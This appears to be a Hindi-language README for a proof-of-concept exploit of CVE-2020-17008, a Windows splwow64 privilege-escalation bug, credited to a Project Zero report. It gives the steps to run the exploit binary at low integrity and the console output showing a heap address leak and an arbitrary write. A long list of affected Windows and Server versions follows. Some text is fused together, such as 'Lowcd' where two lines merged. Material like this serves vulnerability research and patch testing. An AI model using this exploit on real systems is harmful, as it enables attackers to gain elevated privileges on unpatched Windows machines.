
CVE-2020-17008 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Windows 10 और Server पर हीप मैनिपुलेशन के माध्यम से splWOW64 विशेषाधिकार उन्नयन (elevation of privilege) को प्रदर्शित करता है।
C:\Windows\splwow64.exe
Poc From:
https://bugs.chromium.org/p/project-zero/issues/detail?id=2096
Lowcd splwow64_poc\x64\Release
icacls splwow64_poc.exe /setintegritylevel L

/setintegritylevel [(CI)(OI)] स्तर स्पष्ट रूप से सभी मिलान फ़ाइलों में अखंडता ACE जोड़ता है।
निर्दिष्ट करने के लिए स्तर निम्नलिखित में से एक है:
L[ow]
M[edium]
H[igh]
अखंडता ACE के उत्तराधिकार विकल्प स्तर पर प्राथमिकता ले सकते हैं, लेकिन केवल निर्देशिकाओं पर लागू होते हैं।
splwow64_poc.exe
splwow64_poc\x64\Release>splwow64_poc.exe
Start
ntdll = 0x7FF837980000
Init done
C:\Users\pwned\Desktop\splwow64_poc\x64\Release
C:\Users\pwned\Desktop\splwow64_poc\x64\Release\CreateDC.exe
Now's the time to hook up the debugger to splwow64.exe if you want to. Press [Enter] to continue . . .
Get port name
name: \RPC Control\UmpdProxy_2_bea57_0_2000
Create port.
Prepare 0x6A Message - OpenPrinter
PtrMsgReply: 0x0000000000AB0140
ClientView: 0x0000027F390B0000/0x0000000000AB0000, 0x0000027F390B0100: Microsoft XPS Document Writer
Writing message 0x6A success!
Cookie: 0x0
Preparing 0x6D message (to leak heap address) - DocumentEvent
Output: 0x0000000000000000, Heap Address: 0xFFFFFFFFFFFFFFC0
Preparing 0x6D message (write to 0x41414141) - DocumentEvent
Done
Windows 10 संस्करण 1607 (x64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 1607 (32-बिट सिस्टम के लिए)
Windows 10 (x64-आधारित सिस्टम के लिए)
Windows 10 (32-बिट सिस्टम के लिए)
Windows 10 संस्करण 1709 (ARM64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 1709 (x64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 1709 (32-बिट सिस्टम के लिए)
Windows 10 संस्करण 1809 (ARM64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 1809 (x64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 1809 (32-बिट सिस्टम के लिए)
Windows Server संस्करण 1803 (सर्वर कोर इंस्टॉलेशन)
Windows 10 संस्करण 1803 (ARM64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 1803 (x64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 1803 (32-बिट सिस्टम के लिए)
Windows Server संस्करण 1903 (सर्वर कोर इंस्टॉलेशन)
Windows 10 संस्करण 1903 (ARM64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 1903 (x64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 1903 (32-बिट सिस्टम के लिए)
Windows Server संस्करण 1909 (सर्वर कोर इंस्टॉलेशन)
Windows 10 संस्करण 1909 (ARM64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 1909 (x64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 1909 (32-बिट सिस्टम के लिए)
Windows Server संस्करण 2004 (सर्वर कोर इंस्टॉलेशन)
Windows 10 संस्करण 2004 (x64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 2004 (ARM64-आधारित सिस्टम के लिए)
Windows 10 संस्करण 2004 (32-बिट सिस्टम के लिए)
Windows Server 2016 (सर्वर कोर इंस्टॉलेशन)
Windows Server 2016
Windows Server 2019 (सर्वर कोर इंस्टॉलेशन)
Windows Server 2019
Windows Server 2012
Windows Server 2012 R2 (सर्वर कोर इंस्टॉलेशन)
Windows Server 2012 R2
Windows Server 2012 (सर्वर कोर इंस्टॉलेशन)
Windows RT 8.1
Windows 8.1 (x64-आधारित सिस्टम के लिए)
Windows 8.1 (32-बिट सिस्टम के लिए)